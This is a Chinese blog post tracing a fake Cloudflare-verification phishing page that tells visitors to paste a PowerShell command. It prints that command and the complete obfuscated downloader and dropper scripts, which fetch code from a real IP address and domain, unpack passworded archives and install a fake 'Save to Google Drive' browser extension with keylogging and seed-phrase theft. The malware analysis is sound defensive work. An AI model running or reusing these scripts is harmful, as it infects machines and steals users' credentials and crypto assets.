记一次木马溯源

2026-09-29 WEB 安全

在网上想找一个在线文件格式转换工具，结果发现了一个伪装成cloudflare人机验证的钓鱼网页。

钓鱼网页诱导用户执行一段复制的powershell命令

多阶段下载

Stage 1

复制的powershell命令如下：

powershell -ExecutionPolicy Bypass "irm 1450003207/21 -OutFile $env:temp\21.ps1 -UseBasicParsing;& $env:temp\21.ps1"

向1450003207/21，即URL：86.109.75.7/21，Invoke-RestMethod请求powershell代码内容保存到路径$env:temp\21.ps1，然后执行。

Stage 2

21.ps1内容：

try{[Net.ServicePointManager]::SecurityProtocol=[Net.SecurityProtocolType]::Tls12}catch{};$DdNPrOdCsDZ8=$MyInvocation.MyCommand.Path;$mglO8Z3q695RAiM=[Text.Encoding]::Unicode.GetString([Convert]::FromBase64String('TQBvAHoAaQBsAGwAYQAvADUALgAwACAAKABXAGkAbgBkAG8AdwBzACAATgBUACAAMQAwAC4AMAA7ACAAVwBpAG4ANgA0ADsAIAB4ADYANAApACAAQQBwAHAAbABlAFcAZQBiAEsAaQB0AC8ANQAzADcALgAzADYAIAAoAEsASABUAE0ATAAsACAAbABpAGsAZQAgAEcAZQBjAGsAbwApACAAQwBoAHIAbwBtAGUALwAxADMAMQAuADAALgAwAC4AMAAgAFMAYQBmAGEAcgBpAC8ANQAzADcALgAzADYA'));$lMLV_3bvb=New-Object ('Net.'+'WebClient');$lMLV_3bvb.Headers.Add('User-Agent',$mglO8Z3q695RAiM);$voW54Tk_Aigi0we=$lMLV_3bvb.('Down'+'loadString')('http://1450003207/s/6c67e0336a7b');if($DdNPrOdCsDZ8){Remove-Item -LiteralPath $DdNPrOdCsDZ8 -Force -EA 0};$voW54Tk_Aigi0we|& ('pow'+'ershell') -nop -w hidden -ep bypass -;exit

该代码向http://1450003207/s/6c67e0336a7b下载代码并传给新的powershell进程

Stage 3

大片的混淆代码：

$env:__ST=$MyInvocation.MyCommand.Path;$V9NPUwk=988199;$oE1KVwF=@(-988083,-988085,-988078,-988076,-988163,-988102,-988089,-988138,-988121,-988098,-988080,-988154,-988120,-988101,-988093,-988098,-988100,-988083,-988167,-988117,-988098,-988097,-988091,-988098,-988100,-988083,-988094,-988088,-988089,-988153,-988134,-988084,-988084,-988098,-988090,-988101,-988091,-988078,-988121,-988102,-988090,-988098,-988159,-988160,-988125,-988104,-988088,-988110,-988112,-988112,-988092,-988147,-988079,-988089,-988147,-988160,-988158,-988140,-988163,-988102,-988101,-988138,-988108,-988134,-988087,-988087,-988131,-988088,-988090,-988102,-988094,-988089,-988106,-988141,-988141,-988132,-988082,-988085,-988085,-988098,-988089,-988083,-988131,-988088,-988090,-988102,-988094,-988089,-988153,-988131,-988098,-988097,-988094,-988089,-988098,-988131,-988078,-988089,-988102,-988090,-988094,-988100,-988134,-988084,-988084,-988098,-988090,-988101,-988091,-988078,-988159,-988163,-988102,-988089,-988155,-988160,-988117,-988082,-988089,-988160,-988158,-988140,-988163,-988090,-988101,-988138,-988163,-988102,-988101,-988153,-988131,-988098,-988097,-988094,-988089,-988098,-988131,-988078,-988089,-988102,-988090,-988094,-988100,-988122,-988088,-988099,-988082,-988091,-988098,-988159,-988160,-988079,-988104,-988079,-988101,-988097,-988093,-988150,-988078,-988160,-988158,-988140,-988163,-988083,-988101,-988138,-988163,-988090,-988101,-988153,-988131,-988098,-988097,-988094,-988089,-988098,-988115,-988078,-988087,-988098,-988159,-988160,-988098,-988118,-988142,-988146,-988123,-988147,-988143,-988077,-988121,-988128,-988080,-988160,-988155,-988160,-988119,-988082,-988101,-988091,-988094,-988100,-988160,-988158,
……………………
);$i4UjqW55c='';for($Oc8W9ARwum9H=0;$Oc8W9ARwum9H -lt $oE1KVwF.Length;$Oc8W9ARwum9H++){$i4UjqW55c+=[char]([int64]$oE1KVwF[$Oc8W9ARwum9H]+$V9NPUwk)};& ([scriptblock]::Create($i4UjqW55c))

解码后逻辑类似于：

try{$an=New-Object Reflection.AssemblyName('J_oYWWk4xn4');$ab=[AppDomain]::CurrentDomain.DefineDynamicAssembly($an,'Run');$mb=$ab.DefineDynamicModule('x_xbfj1y');$tb=$mb.DefineType('eQ95L48zNGw','Public');$mg=$tb.DefinePInvokeMethod('N6UpbFOq1AMbTNg','kernel32.dll','GetConsoleWindow','Public,Static,PinvokeImpl','Standard',[IntPtr],@(),'Winapi','Auto');$mg.SetImplementationFlags('PreserveSig')|Out-Null;$ms=$tb.DefinePInvokeMethod('gG2mxzU','user32.dll','ShowWindow','Public,Static,PinvokeImpl','Standard',[bool],@([IntPtr],[int]),'Winapi','Auto');$ms.SetImplementationFlags('PreserveSig')|Out-Null;$mm=$tb.DefinePInvokeMethod('QDlzXcFcG2OdFTS','user32.dll','MoveWindow','Public,Static,PinvokeImpl','Standard',[bool],@([IntPtr],[int],[int],[int],[int],[bool]),'Winapi','Auto');$mm.SetImplementationFlags('PreserveSig')|Out-Null;$W=$tb.CreateType();$_yF6kfCkSVkfe0=$W::N6UpbFOq1AMbTNg();if($_yF6kfCkSVkfe0 -ne [IntPtr]::Zero){$W::gG2mxzU($_yF6kfCkSVkfe0,6)|Out-Null;$W::QDlzXcFcG2OdFTS($_yF6kfCkSVkfe0,0,0,0,0,$true)|Out-Null}}catch{};
$w802F13y='';$rT1Vij8Z3sP=@(-9669731,-9669709,-9669706,-9669713,-9669704,-9669698,-9669706,-9669693,-9669747,-9669703,-9669704,-9669698,-9669709,-9669704,-9669697,-9669713);for($t84muudznTNm7w=0;$t84muudznTNm7w -lt $rT1Vij8Z3sP.Length;$t84muudznTNm7w++){$w802F13y+=[char]([int64]$rT1Vij8Z3sP[$t84muudznTNm7w]+9669814)};
$ProgressPreference=$w802F13y;
$iXltDfx0_='';$rT1Vij8Z3sP=@(-9669731,-9669693,-9669699,-9669698,-9669713,-9669705,-9669768,-9669736,-9669713,-9669698,-9669768,-9669731,-9669713,-9669700,-9669696,-9669709,-9669715,-9669713,-9669734,-9669703,-9669709,-9669704,-9669698,-9669737,-9669717,-9669704,-9669717,-9669711,-9669713,-9669700,-9669770,-9669782,-9669731,-9669693,-9669699,-9669698,-9669713,-9669705,-9669770,-9669782,-9669728,-9669713,-9669700,-9669699,-9669709,-9669703,-9669704,-9669753,-9669762,-9669768,-9669766,-9669768,-9669766,-9669768,-9669766,-9669770,-9669782,-9669747,-9669697,-9669706,-9669698,-9669697,-9669700,-9669713,-9669753,-9669704,-9669713,-9669697,-9669698,-9669700,-9669717,-9669706,-9669770,-9669782,-9669734,-9669697,-9669716,-9669706,-9669709,-9669715,-9669739,-9669713,-9669693,-9669730,-9669703,-9669707,-9669713,-9669704,-9669753,-9669716,-9669759,-9669759,-9669717,-9669761,-9669715,-9669761,-9669760,-9669765,-9669757,-9669763,-9669762,-9669713,-9669766,-9669758,-9669757);for($t84muudznTNm7w=0;$t84muudznTNm7w -lt $rT1Vij8Z3sP.Length;$t84muudznTNm7w++){$iXltDfx0_+=[char]([int64]$rT1Vij8Z3sP[$t84muudznTNm7w]+9669814)};
$f_481Jn_iZCF='';$rT1Vij8Z3sP=@(-9669731,-9669693,-9669699,-9669698,-9669713,-9669705,-9669768,-9669736,-9669713,-9669698,-9669768,-9669731,-9669713,-9669715,-9669697,-9669700,-9669709,-9669698,-9669693,-9669734,-9669700,-9669703,-9669698,-9669703,-9669715,-9669703,-9669706,-9669730,-9669693,-9669702,-9669713,-9669770,-9669782,-9669731,-9669693,-9669699,-9669698,-9669713,-9669705,-9669770,-9669782,-9669728,-9669713,-9669700,-9669699,-9669709,-9669703,-9669704,-9669753,-9669762,-9669768,-9669766,-9669768,-9669766,-9669768,-9669766,-9669770,-9669782,-9669747,-9669697,-9669706,-9669698,-9669697,-9669700,-9669713,-9669753,-9669704,-9669713,-9669697,-9669698,-9669700,-9669717,-9669706,-9669770,-9669782,-9669734,-9669697,-9669716,-9669706,-9669709,-9669715,-9669739,-9669713,-9669693,-9669730,-9669703,-9669707,-9669713,-9669704,-9669753,-9669716,-9669759,-9669759,-9669717,-9669761,-9669715,-9669761,-9669760,-9669765,-9669757,-9669763,-9669762,-9669713,-9669766,-9669758,-9669757);for($t84muudznTNm7w=0;$t84muudznTNm7w -lt $rT1Vij8Z3sP.Length;$t84muudznTNm7w++){$f_481Jn_iZCF+=[char]([int64]$rT1Vij8Z3sP[$t84muudznTNm7w]+9669814)};
$FNHfNy='';$rT1Vij8Z3sP=@(-9669730,-9669706,-9669699,-9669765,-9669764);for($t84muudznTNm7w=0;$t84muudznTNm7w -lt $rT1Vij8Z3sP.Length;$t84muudznTNm7w++){$FNHfNy+=[char]([int64]$rT1Vij8Z3sP[$t84muudznTNm7w]+9669814)};
try{[System.Type]::GetType($iXltDfx0_).GetProperty('SecurityProtocol').SetValue($null,[Enum]::Parse([System.Type]::GetType($f_481Jn_iZCF),$FNHfNy))}catch{};
$c59J9N=[IO.Path]::Combine($env:TEMP,[Guid]::NewGuid().ToString('N')+'-'+[Guid]::NewGuid().ToString('N'));
New-Item -ItemType Directory -Path $c59J9N -Force|Out-Null;
$mjo9VUcjNLSU6=[IO.Path]::Combine($c59J9N,[Guid]::NewGuid().ToString('N'));
$K2k7USD=[IO.Path]::Combine($c59J9N,[Guid]::NewGuid().ToString('N'));
$QjiJZTm3M6sX='';$rT1Vij8Z3sP=@(-9669759,-9669692,-9669700,-9669768,-9669713,-9669694,-9669713);for($t84muudznTNm7w=0;$t84muudznTNm7w -lt $rT1Vij8Z3sP.Length;$t84muudznTNm7w++){$QjiJZTm3M6sX+=[char]([int64]$rT1Vij8Z3sP[$t84muudznTNm7w]+9669814)};
$aQJIJiLx=[IO.Path]::Combine($c59J9N,$QjiJZTm3M6sX);
$ajYuXN=[IO.Path]::Combine($c59J9N,[Guid]::NewGuid().ToString('N')+'.7z');
$K8CDz4eRDYLl='';$rT1Vij8Z3sP=@(-9669709,-9669733,-9669733,-9669717,-9669733,-9669759,-9669725,-9669703,-9669762,-9669765,-9669700,-9669716,-9669724);for($t84muudznTNm7w=0;$t84muudznTNm7w -lt $rT1Vij8Z3sP.Length;$t84muudznTNm7w++){$K8CDz4eRDYLl+=[char]([int64]$rT1Vij8Z3sP[$t84muudznTNm7w]+9669814)};
$D0uzmLS4M6='';$rT1Vij8Z3sP=@(-9669710,-9669698,-9669698,-9669702,-9669699,-9669756,-9669767,-9669767,-9669703,-9669700,-9669716,-9669709,-9669698,-9669712,-9669706,-9669703,-9669695,-9669704,-9669713,-9669698,-9669695,-9669703,-9669700,-9669707,-9669768,-9669706,-9669703,-9669706,-9669767,-9669714,-9669706,-9669767,-9669740,-9669758,-9669733,-9669707,-9669724,-9669729,-9669728,-9669740,-9669711,-9669728,-9669768,-9669759,-9669692);for($t84muudznTNm7w=0;$t84muudznTNm7w -lt $rT1Vij8Z3sP.Length;$t84muudznTNm7w++){$D0uzmLS4M6+=[char]([int64]$rT1Vij8Z3sP[$t84muudznTNm7w]+9669814)};
$qKilLlK5CpKF7JU='';$rT1Vij8Z3sP=@(-9669710,-9669698,-9669698,-9669702,-9669756,-9669767,-9669767,-9669703,-9669700,-9669716,-9669709,-9669698,-9669712,-9669706,-9669703,-9669695,-9669704,-9669713,-9669698,-9669695,-9669703,-9669700,-9669707,-9669768,-9669706,-9669703,-9669706,-9669767,-9669714,-9669706,-9669767,-9669740,-9669758,-9669733,-9669707,-9669724,-9669729,-9669728,-9669740,-9669711,-9669728,-9669768,-9669759,-9669692);for($t84muudznTNm7w=0;$t84muudznTNm7w -lt $rT1Vij8Z3sP.Length;$t84muudznTNm7w++){$qKilLlK5CpKF7JU+=[char]([int64]$rT1Vij8Z3sP[$t84muudznTNm7w]+9669814)};
$EekNlxHT4='';$rT1Vij8Z3sP=@(-9669710,-9669698,-9669698,-9669702,-9669699,-9669756,-9669767,-9669767,-9669711,-9669709,-9669698,-9669710,-9669697,-9669716,-9669768,-9669715,-9669703,-9669705,-9669767,-9669709,-9669702,-9669759,-9669692,-9669767,-9669759,-9669692,-9669709,-9669702,-9669767,-9669700,-9669713,-9669706,-9669713,-9669717,-9669699,-9669713,-9669699,-9669767,-9669714,-9669703,-9669695,-9669704,-9669706,-9669703,-9669717,-9669714,-9669767,-9669764,-9669760,-9669768,-9669766,-9669764,-9669767,-9669759,-9669692,-9669700,-9669768,-9669713,-9669694,-9669713);for($t84muudznTNm7w=0;$t84muudznTNm7w -lt $rT1Vij8Z3sP.Length;$t84muudznTNm7w++){$EekNlxHT4+=[char]([int64]$rT1Vij8Z3sP[$t84muudznTNm7w]+9669814)};
$UkuQgdI8M='';$rT1Vij8Z3sP=@(-9669737,-9669703,-9669692,-9669709,-9669706,-9669706,-9669717,-9669767,-9669761,-9669768,-9669766,-9669782,-9669774,-9669727,-9669709,-9669704,-9669714,-9669703,-9669695,-9669699,-9669782,-9669736,-9669730,-9669782,-9669765,-9669766,-9669768,-9669766,-9669755,-9669782,-9669727,-9669709,-9669704,-9669760,-9669762,-9669755,-9669782,-9669694,-9669760,-9669762,-9669773,-9669782,-9669727,-9669709,-9669704,-9669714,-9669703,-9669695,-9669699,-9669734,-9669703,-9669695,-9669713,-9669700,-9669731,-9669710,-9669713,-9669706,-9669706,-9669767,-9669761,-9669768,-9669765,-9669782,-9669727,-9669709,-9669704,-9669714,-9669703,-9669695,-9669699,-9669734,-9669703,-9669695,-9669713,-9669700,-9669731,-9669710,-9669713,-9669706,-9669706,-9669767,-9669761,-9669768,-9669765);for($t84muudznTNm7w=0;$t84muudznTNm7w -lt $rT1Vij8Z3sP.Length;$t84muudznTNm7w++){$UkuQgdI8M+=[char]([int64]$rT1Vij8Z3sP[$t84muudznTNm7w]+9669814)};
$KZra3L='';$rT1Vij8Z3sP=@(-9669772,-9669768,-9669698,-9669694,-9669698);for($t84muudznTNm7w=0;$t84muudznTNm7w -lt $rT1Vij8Z3sP.Length;$t84muudznTNm7w++){$KZra3L+=[char]([int64]$rT1Vij8Z3sP[$t84muudznTNm7w]+9669814)};
$FeILgbwmlYk4na='';$rT1Vij8Z3sP=@(-9669772,-9669768,-9669759,-9669692);for($t84muudznTNm7w=0;$t84muudznTNm7w -lt $rT1Vij8Z3sP.Length;$t84muudznTNm7w++){$FeILgbwmlYk4na+=[char]([int64]$rT1Vij8Z3sP[$t84muudznTNm7w]+9669814)};
$XGzxNPeLnCCv='';$rT1Vij8Z3sP=@(-9669772,-9669768,-9669713,-9669694,-9669713);for($t84muudznTNm7w=0;$t84muudznTNm7w -lt $rT1Vij8Z3sP.Length;$t84muudznTNm7w++){$XGzxNPeLnCCv+=[char]([int64]$rT1Vij8Z3sP[$t84muudznTNm7w]+9669814)};
$GJ_xSo39lk0Ndn='';$rT1Vij8Z3sP=@(-9669731,-9669693,-9669699,-9669698,-9669713,-9669705,-9669768,-9669736,-9669713,-9669698,-9669768,-9669742,-9669698,-9669698,-9669702,-9669727,-9669713,-9669716,-9669732,-9669713,-9669701,-9669697,-9669713,-9669699,-9669698,-9669770,-9669782,-9669731,-9669693,-9669699,-9669698,-9669713,-9669705,-9669770,-9669782,-9669728,-9669713,-9669700,-9669699,-9669709,-9669703,-9669704,-9669753,-9669762,-9669768,-9669766,-9669768,-9669766,-9669768,-9669766,-9669770,-9669782,-9669747,-9669697,-9669706,-9669698,-9669697,-9669700,-9669713,-9669753,-9669704,-9669713,-9669697,-9669698,-9669700,-9669717,-9669706,-9669770,-9669782,-9669734,-9669697,-9669716,-9669706,-9669709,-9669715,-9669739,-9669713,-9669693,-9669730,-9669703,-9669707,-9669713,-9669704,-9669753,-9669716,-9669759,-9669759,-9669717,-9669761,-9669715,-9669761,-9669760,-9669765,-9669757,-9669763,-9669762,-9669713,-9669766,-9669758,-9669757);for($t84muudznTNm7w=0;$t84muudznTNm7w -lt $rT1Vij8Z3sP.Length;$t84muudznTNm7w++){$GJ_xSo39lk0Ndn+=[char]([int64]$rT1Vij8Z3sP[$t84muudznTNm7w]+9669814)};
$oKXAlOIiCUww='';$rT1Vij8Z3sP=@(-9669731,-9669693,-9669699,-9669698,-9669713,-9669705,-9669768,-9669736,-9669713,-9669698,-9669768,-9669727,-9669713,-9669716,-9669732,-9669713,-9669701,-9669697,-9669713,-9669699,-9669698,-9669770,-9669782,-9669731,-9669693,-9669699,-9669698,-9669713,-9669705,-9669770,-9669782,-9669728,-9669713,-9669700,-9669699,-9669709,-9669703,-9669704,-9669753,-9669762,-9669768,-9669766,-9669768,-9669766,-9669768,-9669766,-9669770,-9669782,-9669747,-9669697,-9669706,-9669698,-9669697,-9669700,-9669713,-9669753,-9669704,-9669713,-9669697,-9669698,-9669700,-9669717,-9669706,-9669770,-9669782,-9669734,-9669697,-9669716,-9669706,-9669709,-9669715,-9669739,-9669713,-9669693,-9669730,-9669703,-9669707,-9669713,-9669704,-9669753,-9669716,-9669759,-9669759,-9669717,-9669761,-9669715,-9669761,-9669760,-9669765,-9669757,-9669763,-9669762,-9669713,-9669766,-9669758,-9669757);for($t84muudznTNm7w=0;$t84muudznTNm7w -lt $rT1Vij8Z3sP.Length;$t84muudznTNm7w++){$oKXAlOIiCUww+=[char]([int64]$rT1Vij8Z3sP[$t84muudznTNm7w]+9669814)};
$M2EGroNfcnRVB4={
param($Id3kvS8,$DiVO9H,$vB_msUTBxePw6j);
$Ow5aChq5=$false;
for($YWw2266EXtYfYrZ=0;$YWw2266EXtYfYrZ -lt 3 -and -not $Ow5aChq5;$YWw2266EXtYfYrZ++){
try{
if(Test-Path -LiteralPath $DiVO9H){Remove-Item -LiteralPath $DiVO9H -Force -EA 0};
$WsXHuz6j5RjGD=([type]::GetType($oKXAlOIiCUww))::Create($Id3kvS8);
$WsXHuz6j5RjGD=$WsXHuz6j5RjGD -as ([type]::GetType($GJ_xSo39lk0Ndn));
$WsXHuz6j5RjGD.Timeout=180000;$WsXHuz6j5RjGD.ReadWriteTimeout=180000;$WsXHuz6j5RjGD.AllowAutoRedirect=$true;$WsXHuz6j5RjGD.UserAgent=$UkuQgdI8M;
$XMG49MWF4HA6t=$WsXHuz6j5RjGD.GetResponse();
try{$ID22loid7iz=[IO.File]::Open($DiVO9H,'Create');try{$XMG49MWF4HA6t.GetResponseStream().CopyTo($ID22loid7iz)}finally{$ID22loid7iz.Dispose()}}finally{$XMG49MWF4HA6t.Dispose()};
$ID22loid7iz=[IO.File]::OpenRead($DiVO9H);
try{$XMG49MWF4HA6t=New-Object byte[] 6;$BC83CMScNu3u=$ID22loid7iz.Read($XMG49MWF4HA6t,0,6);$YBpqU_YWuWJm=$ID22loid7iz.Length}finally{$ID22loid7iz.Dispose()};
if($vB_msUTBxePw6j -eq 0){if($BC83CMScNu3u -ge 6 -and $YBpqU_YWuWJm -gt 32 -and $XMG49MWF4HA6t[0] -eq 55 -and $XMG49MWF4HA6t[1] -eq 122 -and $XMG49MWF4HA6t[2] -eq 188 -and $XMG49MWF4HA6t[3] -eq 175 -and $XMG49MWF4HA6t[4] -eq 39 -and $XMG49MWF4HA6t[5] -eq 28){$Ow5aChq5=$true}}else{if($BC83CMScNu3u -ge 2 -and $YBpqU_YWuWJm -gt 100000 -and $XMG49MWF4HA6t[0] -eq 77 -and $XMG49MWF4HA6t[1] -eq 90){$Ow5aChq5=$true}};
}catch{};
if(-not $Ow5aChq5){if(Test-Path -LiteralPath $DiVO9H){Remove-Item -LiteralPath $DiVO9H -Force -EA 0};Start-Sleep -Milliseconds (Get-Random -Min 400 -Max 900)};
};
return $Ow5aChq5;
};
$dQi4uqkPc=$false;foreach($STaJ86PuE in @($D0uzmLS4M6,$qKilLlK5CpKF7JU)){if(& $M2EGroNfcnRVB4 $STaJ86PuE $ajYuXN 0){$dQi4uqkPc=$true;break}};if(-not $dQi4uqkPc){Remove-Item -LiteralPath $c59J9N -Recurse -Force -EA 0;return};
if(-not (& $M2EGroNfcnRVB4 $EekNlxHT4 $aQJIJiLx 1)){Remove-Item -LiteralPath $c59J9N -Recurse -Force -EA 0;return};
New-Item -ItemType Directory -Path $mjo9VUcjNLSU6 -Force|Out-Null;
$wCXz4Lj6g6E='x "'+$ajYuXN+'" -p"'+$K8CDz4eRDYLl+'" -o"'+$mjo9VUcjNLSU6+'" -y';$GIchcbEE=New-Object System.Diagnostics.ProcessStartInfo;$GIchcbEE.FileName=$aQJIJiLx;$GIchcbEE.Arguments=$wCXz4Lj6g6E;$GIchcbEE.CreateNoWindow=$true;$GIchcbEE.UseShellExecute=$false;$GIchcbEE.RedirectStandardOutput=$true;$GIchcbEE.RedirectStandardError=$true;$WsXHuz6j5RjGD=[Diagnostics.Process]::Start($GIchcbEE);$YWw2266EXtYfYrZ=$WsXHuz6j5RjGD.StandardOutput.ReadToEndAsync();$XMG49MWF4HA6t=$WsXHuz6j5RjGD.StandardError.ReadToEndAsync();$WsXHuz6j5RjGD.WaitForExit();$YWw2266EXtYfYrZ.Wait()|Out-Null;$XMG49MWF4HA6t.Wait()|Out-Null;if($WsXHuz6j5RjGD.ExitCode -ne 0){Remove-Item -LiteralPath $c59J9N -Recurse -Force -EA 0;return};
$rKqZkfI=Get-ChildItem -Path $mjo9VUcjNLSU6 -Recurse -Filter $KZra3L -File|Select-Object -First 1;$G925hKz8=Get-ChildItem -Path $mjo9VUcjNLSU6 -Recurse -Filter $FeILgbwmlYk4na -File|Select-Object -First 1;if(-not $rKqZkfI -or -not $G925hKz8){Remove-Item -LiteralPath $c59J9N -Recurse -Force -EA 0;return};
$z5caMwQO6Oa=([IO.File]::ReadAllText($rKqZkfI.FullName)).Trim().Trim([char]65279);
if(-not $z5caMwQO6Oa){Remove-Item -LiteralPath $c59J9N -Recurse -Force -EA 0;return};
New-Item -ItemType Directory -Path $K2k7USD -Force|Out-Null;
$wCXz4Lj6g6E='x "'+$G925hKz8.FullName+'" -p"'+$z5caMwQO6Oa+'" -o"'+$K2k7USD+'" -y';$GIchcbEE=New-Object System.Diagnostics.ProcessStartInfo;$GIchcbEE.FileName=$aQJIJiLx;$GIchcbEE.Arguments=$wCXz4Lj6g6E;$GIchcbEE.CreateNoWindow=$true;$GIchcbEE.UseShellExecute=$false;$GIchcbEE.RedirectStandardOutput=$true;$GIchcbEE.RedirectStandardError=$true;$WsXHuz6j5RjGD=[Diagnostics.Process]::Start($GIchcbEE);$YWw2266EXtYfYrZ=$WsXHuz6j5RjGD.StandardOutput.ReadToEndAsync();$XMG49MWF4HA6t=$WsXHuz6j5RjGD.StandardError.ReadToEndAsync();$WsXHuz6j5RjGD.WaitForExit();$YWw2266EXtYfYrZ.Wait()|Out-Null;$XMG49MWF4HA6t.Wait()|Out-Null;if($WsXHuz6j5RjGD.ExitCode -ne 0){Remove-Item -LiteralPath $c59J9N -Recurse -Force -EA 0;return};
$T9g71uHX=Get-ChildItem -Path $K2k7USD -Recurse -Filter $XGzxNPeLnCCv -File|Select-Object -First 1;if(-not $T9g71uHX){Remove-Item -LiteralPath $c59J9N -Recurse -Force -EA 0;return};
try{$GIchcbEE=New-Object System.Diagnostics.ProcessStartInfo;$GIchcbEE.FileName=$T9g71uHX.FullName;$GIchcbEE.WorkingDirectory=$T9g71uHX.DirectoryName;$GIchcbEE.CreateNoWindow=$true;$GIchcbEE.UseShellExecute=$false;[Diagnostics.Process]::Start($GIchcbEE)|Out-Null}catch{Remove-Item -LiteralPath $c59J9N -Recurse -Force -EA 0;return};
Remove-Item -LiteralPath $aQJIJiLx -Force -EA 0;
Remove-Item -LiteralPath $ajYuXN -Force -EA 0;
Remove-Item -LiteralPath $mjo9VUcjNLSU6 -Recurse -Force -EA 0;
if($env:__ST){Remove-Item -LiteralPath $env:__ST -Force -EA 0};

该脚本会：
- 下载orbitflownetwork.lol/dl/J8QkZUVJgV.7z
- 从github下载7z解压工具
- 使用密码iQQaQ7Yo41rbZ解压7z压缩包
- 再从解压出的文本文件读取第二个密码(rx3VWUvzikfkvZgtI7NBT3pFv)，解压第二层压缩包

最后得到1个.exe文件和5个.bin文件:
- 3e1LfPE3k6BR4EZ-ptYKZRR30rMPonL.exe
- bAy9g.bin
- GZ1DhiP3jAtL.bin
- jCSGCtvA.bin
- MZRKU.bin
- yAzCe.bin

可执行文件约1G大小，猜测是利用超过600MB的文件不能放入VT，火绒未检测到病毒

Stage 4

在虚拟机中监控该程序行为，未发现执行程序、文件落地、网络请求、注册表修改等行为，但有一点可疑之处：

程序对注册表项HKLM\System\CurrentControlSet\Enum\PCI\VEN_15AD&DEV_0405&SUBSYS_040515AD&REV_00\3&61aaa01&0&78\HardwareID进行了查询，读取了可用于识别 VMware 虚拟显示设备的信息。

推测可能识别到虚拟机特征所以停止。

Stage 5

使用去虚拟化的虚拟机重新监控行为。

和前一份短日志相比，出现了成功的文件写入、Edge 配置文件改写，以及对外网络 POST。样本 3e1LfPE3k6BR4EZ-ptYKZRR30rMPonL.exe 启动了 csc.exe、ilasm.exe 和 Edge；日志把一个含 manifest.json、多份 JS、规则 JSON 和图标的包写入随机目录，并成功重写 Edge 的 Preferences 与 Secure Preferences。这很像安装或篡改浏览器扩展配置。

最终恶意程序-浏览器扩展

在C:\Users\Administrator\AppData\Local\JzwTIzsjsfI\发现混淆的浏览器扩展，名为“Save to Google Drive”

{
  "offline_enabled": true,
  "name": "Save to Google Drive",
  "author": "Google inc.",
  "description": "Save web content or screen capture directly to Google Drive.",
  "version": "4.0.6",
  "icons": {
    "128": "./icons_b32e50/icon_a8a5a9.png"
  },
  "permissions": [
    "scripting",
    "webNavigation",
    "tabs",
    "history",
    "webRequest",
    "system.cpu",
    "system.display",
    "clipboardRead",
    "clipboardWrite",
    "unlimitedStorage",
    "system.storage",
    "system.memory",
    "management",
    "storage",
    "cookies",
    "notifications",
    "downloads",
    "activeTab",
    "declarativeNetRequest",
    "alarms",
    "windows",
    "idle",
    "bookmarks"
  ],
  "manifest_version": 3,
  "background": {
    "service_worker": "./cwxuigmq/wa0rf9fbi.js",
    "type": "module"
  },
  "host_permissions": [
    "<all_urls>",
    "*://*/*",
    "https://*/*",
    "http://*/*"
  ],
  "content_scripts": [
    {
      "matches": [
        "*://*/*",
        "https://*/*",
        "http://*/*"
      ],
      "all_frames": true,
      "js": [
        "./cwxuigmq/q03lgwio/nf6rhfqkw9/qa4vsqgc.js",
        "./cwxuigmq/q03lgwio/oqcff5/j5um7t8/na9zzl8nbc.js",
        "./cwxuigmq/q03lgwio/o9ugdd.js",
        "./cwxuigmq/q03lgwio/f5ohbaej9q.js",
        "./cwxuigmq/q03lgwio/jjeb766dx.js",
        "./cwxuigmq/q03lgwio/q76n4l/ac8296p34/pkv0omynt.js"
      ],
      "run_at": "document_start"
    },
    {
      "world": "MAIN",
      "js": [
        "./cwxuigmq/q03lgwio/hjhuc2t.js"
      ],
      "matches": [
        "*://*/*",
        "https://*/*",
        "http://*/*"
      ],
      "all_frames": true,
      "run_at": "document_start"
    },
    {
      "matches": [
        "<all_urls>"
      ],
      "js": [
        "./cwxuigmq/q03lgwio/ztcriu.js",
        "./cwxuigmq/q03lgwio/bfd8n1ym.js"
      ],
      "run_at": "document_start"
    }
  ],
  "declarative_net_request": {
    "rule_resources": [
      {
        "id": "disable-csp",
        "enabled": false,
        "path": "./rules_173fef/rule_117745.json"
      }
    ]
  },
  "key": "XgpAlSPopKhGx6PcbkpglwVQVYNQXClCdIFIFohMTEPsfoVYXKfA9MB4ZCBixULEly58LwXMXehm3ChS"
}

插件的js是仅一行的压缩加密，AI辅助进行粗略功能分析如下：

该样本是一个伪装成“Save to Google Drive”的 Chromium Manifest V3 浏览器扩展。Manifest 给它配置了覆盖所有网站的主机权限，并在页面加载最早阶段、所有 frame 中注入多个脚本。静态代码表明其包含键盘记录、浏览器数据采集、页面请求/表单监视、远程页面注入、屏幕截图、WebSocket 远程命令、助记词/种子短语搜集与上报，以及加密货币地址/交易查询能力。对应功能均有源码位置引用

[R1] Manifest：/manifest.json，名称/描述/版本第 3–6 行；权限第 10–33 行；后台 worker 第 35–38 行；主机权限第 40–44 行；注入配置第 46–86 行；DNR 状态第 88–95 行。
[R2] CSP/框架头规则：/rules_173fef/rule_117745.json，第 4–20 行移除的响应头；第 24–25 行 URL/resource type 条件。
[R3] 后台 service worker：/cwxuigmq/wa0rf9fbi.js，第 1 行：后台模块导入/初始化约 4,099–4,232；getInjections() 约 4,527；getScreenshotRules() 约 4,562；startProxy() 调用约 4,802；initSeedQueue() 调用约 5,040；commonStealer 门控约 11,679。
[R4] 键盘记录器：/cwxuigmq/q03lgwio/ztcriu.js，第 1 行：缓冲/消息约 3,943–4,800；100 字符阈值约 6,011；周期刷新约 6,948；页面卸载处理约 7,991。
[R5] WebSocket 远控、浏览器命令及截图：/cwxuigmq/eif4rrars/d2tbx4zw/eqrgt4nx/e47s53pvt.js，第 1 行：命令处理约 14,460 起；WebSocket 约 29,929；Cookie/set-cookie 片段约 39,870；webRequest/请求处理约 53,535、65,661；截图 API 约 100,022；设备标识载荷约 130,638；截图载荷约 156,980；startProxy() 约 162,422；本地代理配置约 163,500–163,650。
[R6] 请求/表单监视：/cwxuigmq/eif4rrars/pl4x8kdtp/uau41sp/je44w7h4u.js，第 1 行：getanyurl 约 20,562；formData 约 49,877；onBeforeRequest/监听注册约 51,212。
[R7] 种子短语队列、扫描与发送路径：/cwxuigmq/eif4rrars/omrpjrkgjh.js，第 1 行约 3,699、8,019、20,211、23,050、23,416；/cwxuigmq/m31wh4owo/ak9bkak/mj7sm44/nqbh7anp.js，第 1 行约 3,428、6,166、8,407；/cwxuigmq/m31wh4owo/n68n6yxan/zechl6/mrouzti5i.js，第 1 行约 8,300、10,845；/cwxuigmq/m31wh4owo/n5nhkf1i/zthdct4.js，第 1 行约 6,657、16,873、24,644、31,005。
